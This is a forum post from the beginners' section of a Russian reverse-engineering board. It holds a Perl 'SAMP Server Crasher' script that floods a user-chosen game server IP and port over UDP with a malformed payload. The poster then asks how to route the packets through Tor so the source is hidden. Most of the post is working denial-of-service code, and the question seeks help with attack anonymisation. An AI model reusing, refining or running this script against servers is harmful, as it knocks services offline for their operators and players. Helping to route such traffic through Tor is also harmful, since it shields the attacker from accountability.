![]() |
eXeL@B —› Вопросы новичков —› Программа на Perl |
Посл.ответ | Сообщение |
|
Создано: 09 февраля 2009 18:19 · Личное сообщение · #1 Socket::INET; print "--------OopsIDied's SAMP Server Crasher----------\n"; print "Enter the host IP.\n"; $owned = <STDIN>; print "Enter the host port.\n"; $port = <STDIN>; print "Enter the number of attacks to send.\n"; $limit = <STDIN>; chomp $limit; chomp $owned; chomp $port; if($owned =~ /64.85.162.42/ || $owned =~ /71.113.132.21/){ print "Sorry, don't want to crash NR or Fackin lol.\n"; exit(); } $sock=new IO::Socket::INET->new(PeerPort=>$port, Proto=>'udp', PeerAddr=>"$owned")||die("Owned"); $attack= qw(I,]E'c@3OC+ 3BE!ody6SAMPBE!dii); $x = 1; until($x==$limit){ $sock->send($attack); $sock->send($attack2); print "Attack $x sent.\n"; $x++; } Отсылает пакеты напрямую. Нужно сделать отсылку через tor (127.0.0.1:9050) или подобное. Возможно ли? ![]() |
![]() |
eXeL@B —› Вопросы новичков —› Программа на Perl |